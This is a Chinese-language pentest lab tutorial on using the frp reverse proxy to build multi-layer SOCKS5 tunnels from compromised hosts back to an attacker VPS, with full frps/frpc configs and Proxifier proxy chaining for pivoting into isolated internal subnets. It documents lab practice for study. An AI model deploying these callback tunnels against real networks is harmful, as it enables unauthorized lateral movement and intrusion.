注:由于传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本文作者不为此承担任何责任,一旦造成后果请自行承担!
frp简介
frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。
部分配置参数说明
frps: [common] bind_addr = 0.0.0.0 # 服务端监听地址 bind_port = 7000 # 服务端监听端口,默认7000 auth_token = xxxxxxxx # 验证凭据 # 启用dashboard 服务,可以在浏览器上访问vps的端口 dashboard_port = 7000 dashboard_user = admin dashboard_pwd = admin123 frpc: [common] server_addr = x.x.x.x # 连接的服务器IP地址 server_port = 7000 # 连接的服务器端口 [http_proxy] type = tcp # 连接类型为tcp local_ip = x.x.x.x # 本地ip local_port = 9999 # 本地监听端口 remote_port = 9999 # 开启frps服务器的端口,攻击者连接此端口可实现流量转发 use_encryption = true #启⽤加密,默认不加密 plugin = socks5 # 使⽤插件socks5代理
实验场景一
实验场景
第一层网络可出网,对外开放端口无限制
第二层网络双网卡,不可出网
第三层网络单网卡,不可出网
实验环境
攻击机:
VPS:192.168.1.130
攻击机:192.168.1.129
第一层受害机:
web1:192.168.1.128、192.168.52.10
第二层网络受害机:
内网区域1:192.168.52.30、192.168.93.20
第三层网络受害机:
内网区域2:192.168.93.40

步骤
第一层隧道
假设我们拿到 web1主机权限(ssh、rdp、web等),同时发现该主机可访问外网,且没有端口限制(相当于不是映射单一端口出去),除此之外,其存在第二网卡,网段为192.168.52.0/24,攻击机是无法直接访问到这个网段的。这里对web1机器和vps上传frp工具,配置如下
VPS配置frps做服务端监听 frps.ini配置如下: [common] bind_addr = 192.168.1.130 #设置监听地址 bind_port = 7000 #设置客户端连接端口 web机器配置frpc做客户端 frpc.ini 配置如下 [common] server_addr = 192.168.1.130 #frpsIP server_port = 7000 #frps端口 [http_proxy] type = tcp #协议 local_ip = 192.168.52.10 #本地IP remote_port = 9999 #建立连接后要服务器开启的监听端口 plugin = socks5 #指明socks5 local_port = 9999 #指定本地端口,不指定为全端口代理
启动frp服务端和客户端:
VPS:

web1:

至此,frp服务端和客户端连接建立。测试下隧道是否有用,下面操作在攻击机上进行:
配置proxifier:



测试下和192.168.52.0/24网段的连通性,第一层隧道搭建完成

第二层隧道
假设我们通过第一层隧道访问到第二层网络主机,并且拿下第二层网络主机192.168.52.30的权限,之后发现其还有第二个网卡,网段为192.168.93.0/24。但现在我们的隧道只能到达192.168.52.0/24,故搭建第二层隧道时,第一层网络主机web1既是客户端也是服务端,第二层网络区域1主机192.168.52.30为客户端,服务端为web1 192.168.52.10
保持原有配置,新增如下配置:
web1配置frps做服务端监听 frps.ini配置如下: [common] bind_addr = 192.168.52.10 #设置监听地址 bind_port = 7000 #设置客户端连接端口 第二层区域主机配置frpc做客户端 frpc.ini 配置如下 [common] server_addr = 192.168.52.10 #frpsIP server_port = 7000 #frps端口 [http_proxy] type = tcp #协议 local_ip = 192.168.93.20 #本地IP remote_port = 8888 #建立连接后要服务器开启的监听端口 plugin = socks5 #指明socks5 local_port = 8888 #指定本地端口,不指定为全端口代理
启动frps服务端和frpc客户端
web1(服务端):

第二层区域主机(客户端):

至此,第二层隧道frp服务端和客户端连接建立。测试下隧道是否有用,下面进行代理配置:
配置proxifier:


此时有两条proxy server,要想达到多层代理效果,故这里需要开启代理链



至此,多层代理隧道搭建完成,测试隧道是否生效


至此,在此场景下多层隧道的搭建成功,再有多层网络配置原理也差不多。